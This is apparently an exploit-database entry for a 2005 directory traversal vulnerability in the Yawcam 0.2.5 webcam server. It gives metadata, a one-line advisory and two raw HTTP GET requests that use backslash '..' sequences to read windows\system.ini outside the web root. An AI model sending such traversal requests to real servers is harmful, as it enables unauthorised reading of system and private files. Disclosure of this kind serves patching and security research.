yawcam 0.2.5 - Directory Traversal

Author: Donato Ferrante
type: remote
platform: windows
port: 
date_added: 2005-04-21  
date_updated: 2013-05-16  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 25487.txt  
source: https://www.securityfocus.com/bid/13295/info

Yawcam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root.

GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0